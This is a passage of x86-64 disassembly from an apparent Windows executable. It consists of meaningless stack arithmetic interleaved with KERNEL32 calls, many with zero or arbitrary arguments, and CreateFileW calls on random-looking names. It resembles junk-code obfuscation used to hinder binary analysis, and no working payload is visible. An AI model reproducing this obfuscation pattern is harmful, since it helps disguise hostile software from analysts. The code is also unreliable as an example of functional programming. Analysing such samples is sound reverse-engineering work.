and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8bc0], eax
lea rax, [rsp + 0xa5c4]
mov qword [rsp + 0x153d8], rax
movzx eax, byte [rsp + 0x76c]
movzx ecx, byte [rsp + 0x6db]
add eax, ecx
mov byte [rsp + 0x245], al
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
mov word [rsp + 0x30b0], ax
mov rcx, qword [rsp + 0x14368]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x14ec8]
mov ecx, dword [rsp + 0xa8b8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282924], eax
mov rax, qword [rsp + 0x151d8]
mov ecx, dword [rsp + 0xa55c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7730], eax
mov rax, qword [rsp + 0x14ee0]
mov eax, dword [rax]
mov dword [rsp + 0xb0d8], eax
mov dword [rsp + 0x24b30], 0x114
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x14f80]
mov ecx, dword [rsp + 0xaec4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8c4c], eax
mov rax, qword [rsp + 0x15280]
movzx eax, word [rax]
movzx ecx, word [0x14028274c]
sub eax, ecx
mov word [rsp + 0x3028], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x144b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1cb], al
mov eax, dword [rsp + 0xacf0]
mov ecx, dword [rsp + 0x66e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x97cc], eax
mov eax, dword [0x14028ec00]
mov dword [rsp + 0xb0dc], eax
mov rax, qword [rsp + 0x14228]
mov ecx, dword [rsp + 0x79a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x86c4], eax
mov rax, qword [rsp + 0x14fc8]
mov rcx, qword [rsp + 0x14f28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028eb70], eax
mov rax, qword [rsp + 0x15198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7e34]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7ac], eax
movzx eax, byte [rsp + 0x68c]
mov byte [rsp + 0x76e], al
mov rax, qword [rsp + 0x14e70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2f60], ax
lea rax, [0x1402826e0]
mov qword [rsp + 0x153e0], rax
movzx eax, byte [rsp + 0x75d]
movzx ecx, byte [rsp + 0x68a]
shl eax, cl
mov rcx, qword [rsp + 0x14998]
mov byte [rcx], al
mov eax, dword [0x140282824]
movzx ecx, al
mov eax, dword [rsp + 0xacd4]
shr eax, cl
mov dword [rsp + 0x9590], eax
mov rax, qword [rsp + 0x14e18]
mov ecx, dword [rsp + 0xaee4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8708], eax
movzx eax, word [rsp + 0x2c68]
movzx ecx, word [rsp + 0x24d8]
add eax, ecx
mov word [rsp + 0x2c34], ax
mov rax, qword [rsp + 0x14a90]
movzx eax, byte [rax]
mov byte [0x14028eb41], al
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov dword [rsp + 0xb0e0], eax
mov rax, qword [rsp + 0x14838]
mov rcx, qword [rsp + 0x148f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa278], eax
mov eax, dword [rsp + 0xa02c]
mov dword [rsp + 0xb0e4], eax
mov rax, qword [rsp + 0x14a70]
mov rcx, qword [rsp + 0x15058]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xae78], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6d8], al
lea rax, [rsp + 0x1c00]
mov qword [rsp + 0x153e8], rax
mov rax, qword [rsp + 0x15290]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8724], eax
mov rax, qword [rsp + 0x142d8]
mov ecx, dword [rsp + 0xade0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8b8c], eax
movsx eax, word [rsp + 0x25dc]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140282848], ax
movsx eax, byte [rsp + 0x6cf]
movsx ecx, byte [rsp + 0x64f]
sub eax, ecx
mov byte [rsp + 0x66d], al
movzx eax, byte [rsp + 0x3d7]
movzx ecx, byte [0x14028eb41]
sar eax, cl
mov byte [rsp + 0x3bd], al
movzx eax, word [rsp + 0x2fc8]
mov word [rsp + 0x30b4], ax
mov rax, qword [rsp + 0x14cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa584]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e00], eax
lea rax, [rsp + 0xa9d0]
mov qword [rsp + 0x153f0], rax
mov rax, qword [0x14028ec50]
mov rcx, qword [rsp + 0x14640]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6974], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6a78]
shl eax, cl
mov rcx, qword [rsp + 0x14760]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c80]
mov eax, dword [rax]
mov dword [rsp + 0xb0e8], eax
movzx eax, byte [0x140281dcf]
movzx ecx, byte [rsp + 0x2cd]
add eax, ecx
mov byte [rsp + 0x63c], al
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf8]
and eax, ecx
mov word [0x140282788], ax
lea rax, [rsp + 0xa9ec]
mov qword [rsp + 0x153f8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa3b0], eax
mov rax, qword [rsp + 0x14288]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xacd8], eax
mov rax, qword [rsp + 0x15098]
mov ecx, dword [rsp + 0xabe8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa9ac], eax
mov rax, qword [rsp + 0x153f8]
mov rcx, qword [rsp + 0x14b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7ad0], eax
movzx eax, byte [rsp + 0x685]
mov rcx, qword [rsp + 0x14eb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x302], al
xor r9d, r9d
lea r8, [rsp + 0x14740]
mov rdx, qword [rsp + 0x15400]
mov rcx, qword [rsp + 0x150e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaf6c], eax
mov rax, qword [rsp + 0x153e0]
movzx eax, word [rax]
mov word [rsp + 0x30b8], ax
mov rax, qword [rsp + 0x14c50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x726]
sub eax, ecx
mov byte [rsp + 0x75c], al
movzx eax, word [rsp + 0x18c8]
mov word [rsp + 0x30bc], ax
mov rax, qword [rsp + 0x153f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9a8]
add ecx, eax
mov eax, ecx
mov dword [0x140282928], eax
mov rax, qword [0x14028ebc8]
mov rcx, qword [rsp + 0x14630]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab4c], eax
movzx eax, word [rsp + 0x2ef0]
movzx ecx, word [rsp + 0x2d08]
and eax, ecx
mov word [rsp + 0x2b50], ax
mov rax, qword [rsp + 0x14808]
movzx eax, byte [rax]
mov byte [rsp + 0x76f], al
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa84]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xadac], eax
mov rax, qword [rsp + 0x14da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8188]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8eb4], eax
mov eax, dword [rsp + 0x9774]
movzx ecx, al
mov eax, dword [0x14028ec00]
shl eax, cl
mov dword [rsp + 0xa75c], eax
mov eax, dword [rsp + 0x6f08]
mov rcx, qword [rsp + 0x14aa0]
mov qword [rsp + 0x15408], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15408]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8348], eax
mov rax, qword [rsp + 0x15120]
movzx eax, byte [rax]
mov byte [rsp + 0x770], al
movzx eax, word [rsp + 0x2b60]
movzx ecx, word [rsp + 0x2c6c]
sub eax, ecx
mov word [0x14028292c], ax
mov rax, qword [rsp + 0x150a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ef8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150c0]
mov eax, dword [rax]
mov dword [rsp + 0xb0ec], eax
mov rax, qword [rsp + 0x14748]
mov eax, dword [rax]
mov ecx, dword [0x140282790]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6c4], eax
mov rax, qword [rsp + 0x147a0]
mov rcx, qword [rsp + 0x150e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6e4], eax
mov rax, qword [rsp + 0x148e8]
mov ecx, dword [0x140282874]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7b1c], eax
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x634]
sub eax, ecx
mov byte [rsp + 0x619], al
mov edx, 0x39f163
mov rcx, qword [rsp + 0x149e8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa798], eax
movzx eax, word [rsp + 0x22d4]
mov word [rsp + 0x30c0], ax
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ea8]
add eax, ecx
mov word [rsp + 0x2f10], ax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20a]
sub eax, ecx
mov byte [0x140281e56], al
mov rax, qword [rsp + 0x15128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaec4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xafac], eax
mov eax, dword [rsp + 0xa5bc]
mov dword [rsp + 0xb0f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, byte [rsp + 0x491]
mov rcx, qword [rsp + 0x150a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51d], al
lea rax, [rsp + 0x2c9c]
mov qword [rsp + 0x15410], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb0f4], eax
mov eax, dword [rsp + 0xad10]
mov ecx, dword [rsp + 0xab38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb008], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14a08], rax
lea rdx, [rsp + 0x23468]
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa2a4], eax
mov eax, dword [rsp + 0x8c5c]
movzx ecx, al
mov eax, dword [rsp + 0x9834]
shr eax, cl
mov dword [rsp + 0x77e0], eax
mov rax, qword [rsp + 0x14438]
mov ecx, dword [rsp + 0xabcc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x143a8]
mov ecx, dword [rsp + 0x87fc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xac28], eax
mov rax, qword [rsp + 0x14e10]
movzx eax, byte [rax]
mov byte [0x14028eb40], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [rsp + 0x30c4], ax
mov rax, qword [rsp + 0x15210]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7b0]
shl eax, cl
mov dword [rsp + 0x6480], eax
mov eax, dword [rsp + 0xa6c0]
mov dword [rsp + 0xb0f8], eax
mov rax, qword [rsp + 0x14678]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14968]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b7], al
mov rax, qword [rsp + 0x15180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14b00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dc8], ax
movzx eax, word [rsp + 0x1820]
mov rcx, qword [rsp + 0x153e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1834], ax
mov rax, qword [0x14028ed08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x46c], al
lea rax, [rsp + 0xa928]
mov qword [rsp + 0x15418], rax
mov rax, qword [rsp + 0x15228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaff0]
sub ecx, eax
mov eax, ecx
mov dword [0x14028ed6c], eax
mov eax, dword [rsp + 0xb0b4]
mov ecx, dword [rsp + 0x69e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fec], eax
mov rax, qword [rsp + 0x14f80]
mov rcx, qword [rsp + 0x14ba8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaf0c], eax
mov rax, qword [rsp + 0x147a8]
mov eax, dword [rax]
mov dword [rsp + 0xb0fc], eax
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d24]
sub eax, ecx
mov word [rsp + 0x2fc4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.almTjw1rYWKepMmRcfqJ4tz29C4J9e
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15420], rax
movzx eax, byte [rsp + 0x2a7]
mov byte [rsp + 0x771], al
mov eax, dword [rsp + 0xa184]
mov ecx, dword [rsp + 0x9228]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14c80]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x14408]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa8c8], eax
lea rax, [rsp + 0x7f78]
mov qword [rsp + 0x15428], rax
mov rax, qword [rsp + 0x14ca8]
mov ecx, dword [rsp + 0xa924]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x150c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c80]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ee50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x153e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15060]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14590]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, byte [rsp + 0x718]
mov byte [rsp + 0x772], al
movsx eax, byte [rsp + 0x6c7]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x24d], al
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20b0]
imul eax, ecx
mov word [rsp + 0x182c], ax
mov rax, qword [rsp + 0x15168]
mov ecx, dword [rsp + 0xa638]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14d78]
mov dword [rcx], eax
mov rax, qword [0x14028ed40]
mov ecx, dword [rsp + 0xaa54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xacb8], eax
movzx eax, byte [rsp + 0x626]
mov byte [rsp + 0x773], al
movzx eax, word [rsp + 0x1b68]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15060]
mov word [rcx], ax
lea rax, [rsp + 0xaf98]
mov qword [0x14028eb38], rax
mov eax, dword [rsp + 0xa4b8]
mov dword [rsp + 0xb100], eax
mov rax, qword [rsp + 0x146c0]
mov ecx, dword [rsp + 0xac34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4e0], eax
mov eax, dword [rsp + 0xadd8]
mov ecx, dword [rsp + 0xa4c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7da8], eax
movzx eax, byte [rsp + 0x763]
mov rcx, qword [rsp + 0x14698]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5fe], al
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
movzx ecx, word [0x1402828f4]
sub eax, ecx
mov word [rsp + 0x2c00], ax
mov rax, qword [rsp + 0x14aa0]
mov eax, dword [rax]
mov dword [rsp + 0xb104], eax
mov eax, dword [rsp + 0xa3d4]
mov ecx, dword [rsp + 0xa6e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6a8], eax
mov eax, dword [rsp + 0xab40]
mov ecx, dword [rsp + 0xb074]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9e4], eax
mov rax, qword [rsp + 0x14c20]
mov ecx, dword [rsp + 0xa650]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282930], eax
mov dword [rsp + 0x20], 0x5c0
mov r9d, 0x199f
mov r8d, 0x1239
mov edx, 0x284d
mov rcx, qword [rsp + 0x14370]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xb108], eax
mov eax, dword [rsp + 0x8f64]
mov dword [rsp + 0xb10c], eax
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2dc4]
or eax, ecx
mov word [rsp + 0x2edc], ax
lea rax, [rsp + 0x64a]
mov qword [rsp + 0x15430], rax
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b50]
sar eax, cl
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0x14eb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14890]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x45c], al
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x148f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7350]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4e4], eax
movzx eax, byte [rsp + 0x6dc]
mov byte [rsp + 0x774], al
movzx eax, word [rsp + 0x1bbc]
movzx ecx, word [rsp + 0x2e14]
add eax, ecx
mov rcx, qword [0x14028edf8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14b60], rax
mov rax, qword [0x14028edb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x88b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f54], eax
lea rdx, [rsp + 0x234a0]
mov rcx, qword [rsp + 0x14938]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xab74], eax
lea rax, [rsp + 0xa7bc]
mov qword [rsp + 0x15438], rax
mov rax, qword [rsp + 0x14988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x89e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xafe0], eax
mov rax, qword [0x14028ee28]
mov ecx, dword [rsp + 0xaa28]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7200], eax
lea rax, [rsp + 0x684]
mov qword [rsp + 0x15440], rax
movzx eax, word [rsp + 0x2c4c]
mov rcx, qword [rsp + 0x15148]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b38], ax
mov eax, dword [0x14028ec60]
mov dword [rsp + 0xb110], eax
mov rax, qword [rsp + 0x14d60]
mov ecx, dword [rsp + 0xab50]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa5e4], eax
movsx eax, word [rsp + 0x2e8c]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140282934], ax
mov rax, qword [rsp + 0x14d70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x374]
sub eax, ecx
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x14998]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x635]
add eax, ecx
mov byte [rsp + 0x368], al
movzx eax, word [rsp + 0x2d34]
movzx ecx, word [rsp + 0x2c3c]
sar eax, cl
mov word [rsp + 0x3058], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xaf4c], eax
mov rax, qword [rsp + 0x15170]
mov eax, dword [rax]
mov dword [rsp + 0xb114], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rcx, qword [rsp + 0x152f0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa27c], eax
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf88]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9284], eax
lea rax, [rsp + 0xae68]
mov qword [rsp + 0x15448], rax
mov rax, qword [rsp + 0x15208]
mov rcx, qword [rsp + 0x14d90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa390], eax
mov rax, qword [rsp + 0x14f28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa5f4]
shl eax, cl
mov rcx, qword [rsp + 0x14720]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
mov byte [rsp + 0x775], al
mov rax, qword [rsp + 0x14cf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402828e8], ax
mov rax, qword [rsp + 0x14b30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f78]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov dword [rsp + 0xb118], eax
mov eax, dword [rsp + 0xa2e0]
mov ecx, dword [rsp + 0xab50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaef8], eax
mov eax, dword [rsp + 0xa944]
mov ecx, dword [rsp + 0xae0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaf8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15450], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx eax, word [0x1402828b0]
movzx ecx, word [rsp + 0x3080]
sub eax, ecx
mov word [rsp + 0x1c34], ax
movzx eax, byte [rsp + 0x745]
movzx ecx, byte [rsp + 0x6c9]
add eax, ecx
mov byte [rsp + 0x3ed], al
mov rax, qword [rsp + 0x145f0]
movzx eax, byte [rax]
mov byte [rsp + 0x776], al
mov rax, qword [0x14028ed38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2708]
sub eax, ecx
mov word [rsp + 0x309c], ax
mov eax, dword [rsp + 0xadc0]
mov ecx, dword [rsp + 0xa63c]
and ecx, eax
mov eax, ecx
mov dword [0x140282928], eax
mov rax, qword [rsp + 0x14d90]
mov eax, dword [rax]
mov ecx, dword [0x14028ede0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140f0]
mov dword [rcx], eax
lea rdx, [rsp + 0xb11c]
mov rcx, qword [rsp + 0x14db0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa9d8], eax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
mov byte [rsp + 0x777], al
mov rax, qword [rsp + 0x15280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14708]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a1c], ax
mov rax, qword [rsp + 0x14e90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69a4]
sar eax, cl
mov dword [rsp + 0x96e8], eax
mov rax, qword [rsp + 0x15238]
mov ecx, dword [rsp + 0x84a4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xafbc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xaeac], eax
lea rcx, [rsp + 0x21b58]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x14028ee04]
mov rcx, qword [rsp + 0x14f00]
mov qword [rsp + 0x15458], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15458]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xacf0], eax
mov eax, dword [rsp + 0x6984]
mov dword [rsp + 0xb120], eax
movzx eax, word [rsp + 0x2e00]
movzx ecx, word [rsp + 0x1588]
add eax, ecx
mov word [rsp + 0x2ee0], ax
lea rax, [rsp + 0x156]
mov qword [0x14028eb30], rax
mov rax, qword [0x14028ee38]
mov eax, dword [rax]
mov dword [rsp + 0xb124], eax
mov dword [rsp + 0x20], 0x2bbd
mov r9d, 0x369e
mov r8d, 0xc71
mov edx, 0x30e2
mov rcx, qword [rsp + 0x140a0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xab24], eax
mov rax, qword [rsp + 0x151d8]
mov rcx, qword [rsp + 0x14720]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa758], eax
lea rax, [rsp + 0x9d28]
mov qword [rsp + 0x15460], rax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x735c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa618], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.ZyvKMOW7QDmt9JXtT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15468], rax
mov eax, dword [rsp + 0xac44]
mov ecx, dword [rsp + 0x7b14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab64], eax
movsx eax, word [rsp + 0x29f4]
mov rcx, qword [0x14028eeb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x282c], ax
mov rax, qword [rsp + 0x14c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68c]
add eax, ecx
mov byte [rsp + 0x6e2], al
mov rax, qword [rsp + 0x153e0]
movzx eax, word [rax]
mov word [rsp + 0x30c8], ax
mov rax, qword [rsp + 0x15190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14890]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281e9e], al
mov rax, qword [rsp + 0x153f0]
mov ecx, dword [rsp + 0x86c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa59c], eax
movzx ecx, word [rsp + 0x2ccc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f14], ax
mov rax, qword [rsp + 0x14228]
mov ecx, dword [rsp + 0x6480]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7ed4], eax
movzx eax, byte [rsp + 0x72e]
mov byte [rsp + 0x778], al
movzx eax, word [rsp + 0x15c8]
mov rcx, qword [rsp + 0x15288]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14e60]
mov word [rcx], ax
mov eax, dword [rsp + 0xa698]
mov rcx, qword [rsp + 0x145d8]
mov qword [rsp + 0x15470], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15470]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9d00], eax
mov rax, qword [rsp + 0x14be8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14380]
mov qword [rsp + 0x15478], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15478]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14d50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xacec]
mov ecx, dword [rsp + 0x7bf8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8140], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa49c], eax
mov rax, qword [0x14028eb48]
mov eax, dword [rax]
mov dword [rsp + 0xb128], eax
movzx ecx, word [rsp + 0x2b58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x30cc], ax
movzx eax, byte [rsp + 0x75d]
movzx ecx, byte [rsp + 0x769]
xor eax, ecx
mov byte [0x140281e4a], al
movzx eax, word [rsp + 0x2e08]
